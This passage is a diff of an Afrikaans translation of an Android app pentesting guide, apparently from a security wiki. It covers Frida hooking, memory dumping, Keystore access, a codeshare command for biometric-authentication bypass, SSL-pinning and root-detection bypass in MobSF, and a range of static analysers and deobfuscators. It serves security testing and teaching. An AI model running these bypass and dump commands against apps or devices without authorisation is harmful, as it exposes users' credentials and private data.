hook om die gedrag te verander, waardes te verander, waardes uit te trek, ander kode te laat uitvoer...**\ As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik. - Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html) - Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection is uitstekend om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Jy kan sommige Awesome Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) te laai (hulpmiddel [linjector](https://github.com/erfur/linjector-rs)) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Jy kan hier 'n paar uitstekende Frida-skripte vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & SSL pinning bypass workflow +#### Anti-instrumentation & SSL pinning omseil werkvloei {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -522,7 +530,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Dump Geheue - Fridump** -Kyk of die toepassing sensitiewe inligting in die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemonics. +Kontroleer of die toepassing sensitiewe inligting in die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemonics. Deur [**Fridump3**](https://github.com/rootbsd/fridump3) te gebruik kan jy die geheue van die app dump met: ```bash @@ -533,63 +541,63 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Dit sal die memory in die ./dump-gids dump, en daar kan jy met iets soos grep soek: +Dit sal die memory dump in die gids ./dump, en daarbinne kan jy met iets soos grep soek: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Sensitiewe data in Keystore** +### **Sensitive data in Keystore** -In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg bevoegdhede is dit steeds moontlik om daartoe toegang te kry. Aangesien toepassings geneig is om hier sensitiewe data in clear text te stoor, behoort pentests daarna te kyk as root user, aangesien iemand met fisiese toegang tot die toestel hierdie data moontlik kan steel. +In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg voorregte is dit steeds **moontlik om daartoe toegang te kry**. Aangesien toepassings hier geneig is om **sensitiewe data in platte teks** te stoor, behoort pentests dit as root user of iemand met fisiese toegang tot die toestel na te gaan, aangesien hulle hierdie data kan steel. -Selfs as 'n app data in die Keystore stoor, behoort die data versleuteld te wees. +Selfs as 'n app data in die keystore stoor, moet die data versleuteld wees. -Om toegang tot die data binne die Keystore te kry, kan jy hierdie Frida script gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Om toegang tot die data in die keystore te kry, kan jy hierdie Frida script gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om die **bypass fingerprint authentication** uit te voer wat Android-toepassings mag gebruik om sekere **gevoelige gebiede te beskerm**: +Deur die volgende Frida-skrip te gebruik, is dit moontlik om **bypass fingerprint authentication** wat Android-toepassings moontlik toepas om **sekere sensitiewe gebiede te beskerm:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Achtergrondbeelde** +### **Agtergrondbeelde** -Wanneer jy 'n toepassing op die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit na die voorgrond herstel word, dit eers die beeld laai voordat die app begin laai, sodat dit lyk asof die app vinniger gelaai is. +Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot of the application** sodat wanneer dit na die voorgrond herstel word, dit eers die beeld begin laai voordat die app self dit doen, sodat dit lyk asof die app vinniger gelaai is. -As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let wel dat jy root nodig het om daartoe toegang te kry). +As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let wel: jy benodig root om daartoe toegang te kry). Die snapshots word gewoonlik gestoor by: **`/data/system_ce/0/snapshots`** -Android bied 'n manier om **die vaslegging van skermskote te voorkom deur die FLAG_SECURE layout-parameter te stel**. Deur hierdie flag te gebruik, word die vensterinhoud as veilig beskou, wat verhoed dat dit in skermskote verskyn of op nie-veilige vertonings bekyk kan word. +Android bied 'n manier om die **screenshot capture** te voorkom deur die FLAG_SECURE layout-parameter te stel. Deur hierdie flag te gebruik, word die vensterinhoud as veilig behandel, wat verhoed dat dit in screenshots verskyn of op nie-veilige skerms besigtig kan word. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Android-toepassingsontleder** +### **Android Application Analyzer** -This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Hierdie hulpmiddel kan jou help om verskillende gereedskap tydens die dynamic analysis te bestuur: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Ontwikkelaars skep gereeld proxy-komponente soos activities, services, en broadcast receivers wat hierdie Intents hanteer en dit deurgee aan metodes soos `startActivity(...)` of `sendBroadcast(...)`, wat riskant kan wees. +Ontwikkelaars skep dikwels proxy-komponente soos activities, services, en broadcast receivers wat hierdie Intents hanteer en dit deurgee aan metodes soos `startActivity(...)` of `sendBroadcast(...)`, wat riskant kan wees. -Die gevaar lê daarin om aanvallers toe te laat nie-eksporteerde app-komponente of sensitiewe content providers te aktiveer/benader deur hierdie Intents verkeerd te lei. 'n Bekende voorbeeld is die `WebView`-komponent wat URLs na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik tot kwaadwillige Intent injections kan lei. +Die gevaar lê daarin om aanvalleerders toe te laat om nie-geëksporteerde app-komponente of sensitiewe content providers te aktiveer deur hierdie Intents verkeerd te lei. ’n Opvallende voorbeeld is die `WebView` component wat URLs na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik lei tot kwaadwillige Intent-injections. ### Belangrike punte -- **Intent Injection** is soortgelyk aan die web se Open Redirect-kwessie. +- **Intent Injection** is soortgelyk aan die web se Open Redirect issue. - Eksploite behels die deurgee van `Intent`-objekte as extras, wat omgerig kan word om onveilige operasies uit te voer. -- Dit kan nie-eksporteerde komponente en content providers aan aanvallers blootstel. -- `WebView` se URL-naar-`Intent` omskakeling kan onbeoogde aksies vergemaklik. +- Dit kan nie-geëksporteerde komponente en content providers aan aanvalleerders blootstel. +- `WebView` se URL na `Intent` omskakeling kan onbeplande aksies fasiliteer. -### Android Client-Side Injections and others +### Android Client Side Injections and others -Jy ken waarskynlik hierdie tipe kwesbaarhede van die Web af. Jy moet besonder versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing: +Jy ken waarskynlik hierdie tipe kwesbaarhede van die Web. Jy moet besonder versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing: -- **SQL Injection:** Wanneer jy dinamiese navrae of Content-Providers hanteer, sorg dat jy geparametriseerde navrae gebruik. -- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: In verskeie gevalle, wanneer die android toepassing die sessie beëindig, word die cookie nie herroep nie of dit kan selfs na skyf gestoor word +- **SQL Injection:** Wanneer jy te doen het met dinamiese queries of Content-Providers, maak seker jy gebruik geparametriseerde navrae. +- **JavaScript Injection (XSS):** Maak seker dat JavaScript- en Plugin-ondersteuning gedeaktiveer is vir enige WebViews (gedeaktiveer by verstek). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews moet toegang tot die lêerstelsel gedeaktiveer hê (by verstek geaktiveer) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: In verskeie gevalle, wanneer die Android-toepassing die sessie beëindig, word die cookie nie herroep nie of dit kan selfs op skyf gestoor word - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -602,51 +610,51 @@ Jy ken waarskynlik hierdie tipe kwesbaarhede van die Web af. Jy moet besonder ve ![](<../../images/image (866).png>) -**Kwesbaarheidsevaluering van die toepassing** met 'n netjiese web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei). +**Kwetsbaarheidsevaluering van die toepassing** met 'n netjiese webgebaseerde frontend. Jy kan ook dynamic analysis uitvoer (maar jy moet die omgewing voorberei). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Neem kennis dat MobSF Android**(apk)**, IOS**(ipa)** en Windows**(apx)** toepassings kan analiseer (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Ook, as jy 'n **ZIP**-lêer met die bronkode van 'n **Android** of 'n **IOS** app skep (gaan na die root folder van die aplikasie, kies alles en skep 'n ZIPfile), sal dit dit ook kan analiseer. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF laat jou ook toe om analises te **diff/Compare** en om **VirusTotal** te integreer (jy sal jou API sleutel in _MobSF/settings.py_ moet stel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** in plaas van die lêer **opgelaai** word. -### Assisted Dynamic analysis with MobSF +### Geassisteerde dinamiese ontleding met MobSF -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** can: +**MobSF** kan ook baie nuttig wees vir **dynamiese ontleding** in **Android**, maar in daardie geval moet jy MobSF en **genymotion** op jou host installeer (n VM of Docker sal nie werk nie). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +Die **MobSF dynamic analyser** kan: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. +- **Dump application data** (URLs, logs, clipboard, skermskote deur jou gemaak, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite databases, XML-lêers en ander geskepte lêers). Dit gebeur alles outomaties behalwe vir die skermskote — jy moet druk wanneer jy 'n skermskoot wil neem of jy moet "**Exported Activity Tester**" druk om skermskote van al die exported activities te bekom. - Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- Gebruik **Frida** om **runtime** **inligting** te bekom -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Vanaf Android **versions > 5**, sal dit **automatically start Frida** en die globale **proxy**-instellings opstel om verkeer te vang. Dit sal slegs verkeer van die getoetste toepassing vang. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Per verstek sal dit ook sommige Frida-skripte gebruik om **bypass SSL pinning**, **root detection** en **debugger detection** te omseil en om **monitor interesting APIs**.\ +MobSF kan ook **invoke exported activities**, neem **skermskote** daarvan en **stoor** dit vir die verslag. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Om die dinamiese toetsing te **start** druk die groen knoppie: "**Start Instrumentation**". Druk die "**Frida Live Logs**" om die logs wat deur die Frida-skripte gegenereer is te sien en "**Live API Monitor**" om alle aanroepe na hooked methods, deurgegewe argumente en teruggegewe waardes te sien (dit sal verskyn nadat jy op "Start Instrumentation" gedruk het).\ +MobSF laat jou ook toe om jou eie **Frida scripts** te laai (om die resultate van jou Frida-skripte na MobSF te stuur gebruik die funksie `send()`). Dit het ook **several pre-written scripts** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies hulle net, druk "**Load**" en druk "**Start Instrumentation**" (jy sal die logs van daardie skripte binne "**Frida Live Logs**" kan sien). ![](<../../images/image (419).png>) -Moreover, you have some Auxiliary Frida functionalities: +Verder het jy 'n paar bykomende Frida-funksionaliteite: -- **Enumerate Loaded Classes**: Dit sal al die loaded classes uitdruk -- **Capture Strings**: Dit sal alle capture strings druk terwyl jy die toepassing gebruik (baie noisy) -- **Capture String Comparisons**: Kan baie nuttig wees. Dit sal **show the 2 strings being compared** en of die resultaat True of False was. -- **Enumerate Class Methods**: Sit die klasnaam (bv. "java.io.File") en dit sal al die methods van die klas druk. -- **Search Class Pattern**: Search classes by pattern -- **Trace Class Methods**: **Trace** 'n **whole class** (sien insette en uitsette van alle methods van die klas). Onthou dat standaard MobSF verskeie interessante Android Api methods trace. +- **Enumerate Loaded Classes**: Dit sal al die gelaaide klasse druk +- **Capture Strings**: Dit sal al die gevangen strings druk terwyl jy die toepassing gebruik (baie lawaaierig) +- **Capture String Comparisons**: Kan baie nuttig wees. Dit sal **wys die 2 strings wat vergelyk word** en of die resultaat True of False was. +- **Enumerate Class Methods**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk. +- **Search Class Pattern**: Soek klasse volgens 'n patroon +- **Trace Class Methods**: **Trace** 'n **hele klas** (sien insette en uitsette van alle metodes van die klas). Onthou dat per verstek MobSF verskeie interessante Android Api-metodes trace. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy op "**Start Intrumentation**" druk en jy sal al die uitsette in "**Frida Live Logs**" sien. **Shell** -Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: +MobSF bied ook 'n shell met sommige **adb** commands, **MobSF commands**, en algemene **shell** **commands** onderaan die dynamic analysis bladsy. Sommige interessante commands: ```bash help shell ls @@ -655,34 +663,34 @@ exported_activities services receivers ``` -**HTTP-gereedskap** +**HTTP gereedskap** -Wanneer HTTP-verkeer vasgelê word kan jy ’n lelike weergawe van die vasgelêde verkeer onder "**HTTP(S) Traffic**" knoppie sien of ’n netter weergawe onder die groen knoppie "**Start HTTPTools**". Vanaf die tweede opsie kan jy die **captured requests** na **proxies** soos Burp of Owasp ZAP stuur.\ +Wanneer HTTP-verkeer opgevang word, kan jy 'n lelike uitsig van die opgevangde verkeer sien op die "**HTTP(S) Traffic**" knop of 'n netjiese uitsig op die groen knop "**Start HTTPTools**". Vanaf die tweede opsie kan jy die **opgevangde versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\ Om dit te doen, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> druk "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Sodra jy die dinamiese ontleding met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http requests** en na kwesbaarhede te soek. +Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http requests te fuzz** en na kwesbaarhede te soek. > [!TIP] -> Na ’n dinamiese ontleding met MobSF kan die proxy-instellings verkeerd gekonfigureer raak en sal jy dit nie via die GUI kan regmaak nie. Jy kan die proxy-instellings regmaak deur: +> Na die uitvoering van 'n dinamiese analise met MobSF kan die proxy-instellings verkeerd gekonfigureer wees en sal jy dit nie vanaf die GUI kan regstel nie. Jy kan die proxy-instellings regmaak deur die volgende te doen: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Begeleide dinamiese ontleding met Inspeckage +### Geassisteerde dinamiese analise met Inspeckage -Jy kan die hulpmiddel kry vanaf [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Hierdie hulpmiddel gebruik sekere **Hooks** om jou te laat weet **wat in die toepassing gebeur** terwyl jy ’n **dinamiese ontleding** uitvoer. +You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +Hierdie tool sal sommige **Hooks** gebruik om jou te laat weet **wat in die toepassing aangaan** terwyl jy 'n **dinamiese analise** doen. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Dit is ’n **geweldige hulpmiddel om statiese ontleding met ’n GUI uit te voer** +Dit is 'n **uitstekende tool om statiese analise met 'n GUI uit te voer** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Hierdie hulpmiddel is ontwerp om na verskeie **security related Android application vulnerabilities** te soek, hetsy in **source code** of **packaged APKs**. Die instrument is ook **in staat om 'n "Proof-of-Concept" deployable APK te skep** en **ADB commands**, om sommige van die gevonde kwesbaarhede te eksploiteer (Exposed activities, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie. +Hierdie tool is ontwerp om te soek na verskeie **security related Android application vulnerabilities**, óf in **source code** of in **packaged APKs**. Die tool is ook **in staat om 'n "Proof-of-Concept" deployable APK te skep** en **ADB commands**, om sommige van die gevonde kwesbaarhede te exploiteer (Exposed activities, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -692,21 +700,21 @@ qark --java path/to/specific/java/file.java ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) - Wys alle uitgehaalde lêers vir maklike verwysing -- Dekompileer APK-lêers outomaties na Java- en Smali-formaat -- Ontleed AndroidManifest.xml vir algemene kwesbaarhede en gedrag -- Statiese bronkode-ontleding vir algemene kwesbaarhede en gedrag +- Decompileer APK-lêers outomaties na Java- en Smali-formaat +- Analiseer AndroidManifest.xml vir algemene kwesbaarhede en gedrag +- Statiese bronkode-analise vir algemene kwesbaarhede en gedrag - Toestelinligting -- En meer +- en meer ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER is 'n command-line toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers ontleed op soek na kwesbaarhede. Dit doen dit deur APKs te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede op te spoor. +SUPER is 'n command-line toepassing wat op Windows, MacOS X en Linux gebruik kan word en analiseer _.apk_ lêers op soek na kwesbaarhede. Dit doen dit deur APKs te ontpak en 'n reeks reëls toe te pas om daardie kwesbaarhede op te spoor. -Alle reëls is gekonsentreer in 'n `rules.json` lêer, en elke maatskappy of tester kan hul eie reëls skep om te analiseer wat hulle nodig het. +Alle reëls is in 'n `rules.json`-lêer gesentreer, en elke maatskappy of tester kan hul eie reëls skep om te analiseer wat hulle nodig het. -Laai die nuutste binaries af by die [download page](https://superanalyzer.rocks/download.html) +Laai die jongste binaries af vanaf die [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -714,11 +722,11 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn is 'n **kruisplatform** gereedskap wat ontwikkelaars, bugbounty hunters en etiese hackers help om [statiese kode-analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. +StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty hunters en ethical hackers help om [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. -Die idee is dat jy jou mobiele toepassing-lêer ('.apk' of '.ipa' lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n pasgemaakte ervaring te kry. +Die konsep is dat jy jou mobiele toepassingslêer ('n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en los, en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en wordlists aanpas om 'n aangepaste ervaring te kry. -Laai die [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases) af: +Laai[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` @@ -732,11 +740,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** is 'n hulpmiddel waarvan die hoofdoel is om die gebruiker op te spoor en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-app ontwikkel is. +**Androwarn** is 'n hulpmiddel wat hoofsaaklik daarop gemik is om potensieel kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is, op te spoor en die gebruiker daaroor te waarsku. -Die opsporing word gedoen deur die **static analysis** van die toepassing se Dalvik bytecode, wat voorgestel word as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. +Die opsporing word uitgevoer deur middel van die **static analysis** van die toepassing se Dalvik bytecode, voorgestel as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. -Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Hierdie hulpmiddel soek na **algemene gedrag van "slegte" toepassings** soos: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -744,87 +752,83 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobile application reverse engineering en analysis tools saamvoeg om te help met die toetsing van mobiele toepassings teen OWASP mobile security threats. Die doel is om hierdie taak makliker en meer gebruikersvriendelik te maak vir mobile application developers en security professionals. +**MARA** is 'n **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Dit is 'n hulpmiddel wat gereeld gebruikte mobile application reverse engineering- en analysis-tools saamvoeg om te help met die toetsing van mobile applications teen OWASP mobile security threats. Die doel is om hierdie taak makliker en meer gebruikersvriendelik te maak vir mobile application developers en security professionals. -It is able to: +Dit kan: -- Ekstraheer Java en Smali code met verskeie tools -- Analiseer APK's met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Ekstraheer privaat inligting uit die APK met regexps. +- Onttrek Java- en Smali-kode met verskeie tools +- Analiseer APKs met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Onttrek privaat inligting uit die APK met behulp van regexps. - Analiseer die Manifest. -- Analiseer gevonde domeine met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) +- Analiseer gevonde domains met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuskeer APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com/) +Nuttig om malware op te spoor: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Neem kennis dat, afhangend van die diens en konfigurasie wat jy gebruik om die code te obfuskeer, geheime wel of nie geobfuskeer kan wees nie. +Let wel: afhangend van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer, kan secrets wel of nie obfuskeer eindig nie. ### [ProGuard]() -From [Wikipedia](): **ProGuard** is 'n open source command-line hulpmiddel wat Java code verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer en ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** is 'n open source command-line tool wat Java-kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer en onbruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU General Public License, weergawe 2. -ProGuard word saam met die Android SDK versprei en loop wanneer die toepassing in release mode gebou word. +ProGuard word as deel van die Android SDK versprei en loop wanneer die aansoek in release mode gebou word. ### [DexGuard](https://www.guardsquare.com/dexguard) -Vind 'n stap-vir-stap gids om die apk te deobfusseer by [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Vind 'n stap-vir-stap gids om die apk te deobfuskeer by [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Volgens daardie gids) Die laaste keer wat ons nagegaan het, was die Dexguard operasionele wyse: +(From that guide) Laas toe ons gekyk het, was die Dexguard modus van werking: -- laai 'n resource as 'n InputStream; -- gee die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel; -- doen 'n bietjie nuttelose obfuskering om 'n paar minute van 'n reverser se tyd te mors; -- gee die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry; -- laastens laai die resulterende DEX as 'n Resource met die `loadDex` metode. +- load a resource as an InputStream; +- feed the result to a class inheriting from FilterInputStream to decrypt it; +- do some useless obfuscation to waste a few minutes of time from a reverser; +- feed the decrypted result to a ZipInputStream to get a DEX file; +- finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) -**DeGuard keer die proses van obfuskering wat deur Android obfuscation tools uitgevoer word om. Dit maak talle security analyses moontlik, insluitend code inspection en library-identifikasie.** +**DeGuard keer die proses van obfuskering wat deur Android obfuscation tools uitgevoer is om. Dit stel verskeie security analyses in staat, insluitend kode-inspeksie en die voorspel van libraries.** -Jy kan 'n geobfuskeerde APK na hul platform oplaai. +Jy kan 'n obfusceerde APK na hul platform oplaai. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Dit is 'n LLM tool om potensiële security vulnerabilities in android apps te vind en android app code te deobfusseer. Gebruik Google's Gemini public API. +Dit is 'n LLM tool om potensiële security vulnerabilities in android apps te vind en android app kode te deobfuskeer. Gebruik Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -Dit is 'n generic android deobfuscator. Simplify voer 'n app virtually uit om sy gedrag te verstaan en probeer dan die code optimaliseer sodat dit identies optree maar makliker vir 'n mens is om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuscation gebruik word nie. +Dit is 'n **generic android deobfuscator.** Simplify **virtually executes an app** om die gedrag te verstaan en probeer dan **die kode te optimaliseer** sodat dit identies gedrag lewer maar makliker vir 'n mens is om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuscation gebruik is nie. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gee jou inligting oor hoe 'n APK gemaak is. Dit identifiseer baie compilers, packers, obfuscators, en ander vreemde goed. Dit is [_PEiD_](https://www.aldeid.com/wiki/PEiD) vir Android. +APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **compilers**, **packers**, **obfuscators**, en ander vreemde dinge. Dit is die 